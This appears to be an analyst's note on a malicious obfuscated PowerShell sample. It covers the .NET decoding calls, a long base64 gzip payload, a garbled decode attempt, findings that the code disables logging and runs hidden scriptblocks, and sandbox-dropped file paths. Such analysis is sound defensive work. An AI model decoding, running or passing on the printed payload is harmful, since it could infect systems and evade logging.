New-Object System.IO.StreamReader - read file data

New-Object System.IO.Compression.GzipStream - decompress byte array

New-Object System.IO.MemoryStream(, - Passing an array of bytes to system.IO.MemoryStream (the coma following the paraentesis is important)

<https://scriptingetc.wordpress.com/2019/05/22/passing-an-array-of-bytes-to-system-io-memorystream/>

[System.Convert]::FromBase64String - converts a base64-encoded string to a byte array

Base64: <https://www.base64decode.org/>

=====

```
H4sIAH8phmICA7VX2/iSBL+faX9H6wVEkYhYAPJhZFG0htsMMG8/MKwaNXYDTS0bWI3ELK7//tV80gyN8nd3
EljCcXurqqu/uqrRxa70GAkiQVWDYQ/f/1FuDwDlKJIEHPR4zosCjkajNe48LYNCxvhqyB0le22mUSIXLMvX
xq7NMUxO3+XWpgpWYajOSU4EwvCX4K3wim+7c/XOGDcn0LuJ1KLJnNEL2LHBgpWWLhV4pDvdZMAcc9K1pYSJ
uZ//z1fmN7Ks5L2tEM0E/PWMW4KoWU5gvC3wV+oH3cYjFvkiBNsmTBSH6Jq5WSE2dogXtgbY9NzFZJmOXhL
m+3STHbpfHpUtzKWUbMw+sgTQILDF0cZfmiMOX2p7PZP8Xp5fDRlmYkwiUjZjhNthZ09yTAWamN4pDiEV7MQ
MtiKYmXs0IBxPbJBou5eEdpUfhfzIg9fLhC96NK4ns1kBqwtFCEmH5/TTMJdxSffFmf+HmiQQGeVyoAfn9zC
BdX/hxrDx/w523h+kxPOxhcFgdJRk66XwWpKJhwOmJJeoTPnJ3ucGH2CriQe+paD8UftSZfVbmiBwtTnyHh7
E39m+jnNu3I0bnU52Ru4gWJcFMYo4gEV76KHwUFLyg+IVK6ivXAQTF/2cBhE108RIzjzLnXnZoWEfaqq+4ID
XGqBBDDYDLyCmBe+deYcOjFvxCa0AL3zN5A1t4AswVfpS2Ycr6fzbxDKNyjKsqIw2EGaBkXBwohiSHglzsh1S
9mx5PSaf3PX3FFGApSxq7lZ4d/xvJzbSOKmpbsAAgsY2NYWBwRRDklRaJMqq0eLLK/n5z8EpIEohfWBS3sIC
```


KxwICzG6ZLy2sSpUSHmBnRluIIZE51Q6doCVXikiUnfqElDvOfExPNhzP30TZxUN75CQG3aMKKgktSBmWI4
/zk/V90fF9+zt40UnyJj3hNsq16ZDwNcoc/As7TC0YnRFiGa0hpEqkow/e1c60Rfyv3yUCBx2+2rYnBLBN+T
S0mRDYcUjUSc/EwYFISmUEjG7T0B4Ucl0fgoacEYSfEdcutMUSzWG0gtIdEumurQJVseHcMzrQM5htK214FV
Bo022XLzyRyaHvc1t1GUKu1x5JSrdb6VWkD6P1EXm6UsBeRw3MX3qGo9ruqkamSQbVOYzT3KvrEo+1yTV8tv
CSz7v1muVyu6h1R0NFTcIK3SF31NjtIFLLZdcMme3IPdu5ISq/p+3V75H3nPNwg9xdK8vHFh363vAfhtYbu
pY6cI7Kc899eBm/aMt5i6YTS+35nrm0ZXPPNTbL4Vg9zFvueOJ1umg83PfWCtjRdqbtLB81ZriabHYbaoY8R
g0tpH6F7R8t1ZuM0y/Iq++6LxrIG0vWg4Af1H+PbE3qN1Tb9yarINpwmXLVFBz62G0KMTuz0ZLuENlFWHdR
blvmvwu+1579DQnMnK1iWl5juw2w8R+MwPzV++F1dVkS0nBch5qvbW+Np1R14xHVCudDLDuRqEUbnxvFA83Y
XUU1dlkPdLnY/Mw15gauuEBNzcVX5r0raZTHwUMt3tnbPZtvs6bVhxZ41sN5vTVTNw6mvf0425I79MKqNFK
D0b0A4Zcphstfxnx6HSP03e2c7dMJTqkblxj67baZgVeTe3fcmu9Iy52xmNwndqb6wd7araVHQ1cwvR4n1fd
kkwsZGiH0+NEY/j2JEnyb3s7PoQWxolj+MKUcyDohCsPqm6+tSG/dBBEAW6p7jDd3fo+xjkgZuy3iKGBvJIs
w893CzLTl1+was05wbaqInCkW0tFUVTFMdb3+oDwQ57YKffuZPDRGnAvt7zkProEdwty/5YCc2brnp0N7n90
3fdHN+sUiB12bQV4IV/gHiffkp3v2xbysN6R05+Ui3L9qG1UJ6UmxtVVuesrVU7e7RU7XLd+fob5PTUITGrV
ma5907Z4c3v119yq9G9+S61P+vtJkqzFaKQ8tC1r8VXT1L90oYHCeEaosjHuQ10Y0xhAIIR6VqwFEqTgE8Bv
F/DAHIeC/iU4hgnpz56KwivgoW36eC690XLBHyEGgjVqdTF8ZKtitJzVZKgqUvPUu1U6378Yo1kexS5rSKfC
k7AXGzTk20wRxaCKP50qGD2Y9CCPgXrM9zg5A30C+hg5yL00V0ThL7H7nKtVya8gw4wk+HiUz71nRgCBm7xk
5BjFCZ6P2PlsPZTKXPPRCv4E/4Xyryt/YfdH6KRVDxj893ytwvvuvjPA8BDhIGgBR2V4v0c9yE0lyx5F16sQ
QosLg//36e/Y7c9mKZPHf1f580shnUNAAA=

Base64 decoded:

=====

```
0x)b 0w0i G0DX0adQ00o?005v0M-0X,|0ww0Xq{00 "AUa0Qn00(0x0 F5<-Bj0{mQ"1,[1LN,
VaIN0os000h30,.0x;ds0w7000X
e9_w0[010Rjd
^0cs0f9xKLv|zT2Q00@C00~h9}Ozy|4K0H0m00jcx8W02%beE0q=A^0T~0"0_.04d0-0!&L]'|h@gr009x~000QjJ&0^3
'00}$GInhx{0 f90r4nu90b\|(000AK0Tp0L_p0D0#8.|gf}0\j060/ 0y0[ /|
m00UR226+00fpp0 s0R1y=&0Q,jVxwo'68)n00650CTZ$*+)
J! 0R +001d*0J0f0te00P UxI0IC^aM7B0m0db89?W3000"0c01^00\00:0D00\0_P qbpK0fH
0DL00PH=0G%(i0IrLR0-!0%[00940U06r5Q*q00uZ0>Q0,0pj=jdmS='(\Wo
,YW+QSpH]6;H0u&{r0lvHJu}>u0JN~00#^0o2b~gm0\MMV0s08n07=4]K0Y&00Ki{GuF0*U0 00z6I6&K00m
200h0EZ0n[0n
0bZ^c
ZuuY0:p\moTu0rC,;E000]E5vY0t50@MW+iZu0{glmAVY[
L:nH
J0F0\0- 0t;wsL%:n\cf0^Mrk#.vcV00{0j
\ZxW0pL,dh;Dc$Io{;>0Dcs +0n!t0^0n0>9 f00,w0200_ju"p[KEQT06)d0p/>0w0r sf00
NG700vm0x!_'0H0z;rmT'&U+UN0;\00=50Lj';xs{0o~KOIH<-kU4txF1CS0@ zV000o00%8
4+mx.9r!05ju1|dbd*RHU:00Y.kH0004L00$?00= z890} 09yT/Uw 0$0x0gF00d 1=\Q
0+ aGU00|30 h0Gex=CE00B0f) WK!C000
```

This is a sign that it is not text but a binary instead. When I decode the base64 on a Linux computer it says there is an error which seems to be overcome by adding one more character of padding "=" at the end.

Findings:

=====

The code determines which version of Powershell it is running, attempts to turn off logging, then tries to run the obfuscated scriptblock code.
Determined to be malicious by Joesandbox <https://www.joesandbox.com/analysis/1000817>

Files dropped on joesandbox machine:

=====

<https://www.joesandbox.com/analysis/633312/1/iochtml>

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_00hrfaxj.jji.psm1

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_fdgg0c0r.s4f.ps1

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_kpidnsmd.c4t.ps1

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_puwk2p50.ytt.psm1

C:\Users\user\Documents\20220524\PowerShell_transcript.051829.Vu5mMn4f.20220524175754.txt

C:\Users\user\Documents\20220524\PowerShell_transcript.051829.XWha7Ai0.20220524175836.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JGISX1DFU4OTZ0PDECLC.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N2V7716LCM2C5QDVJ711.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)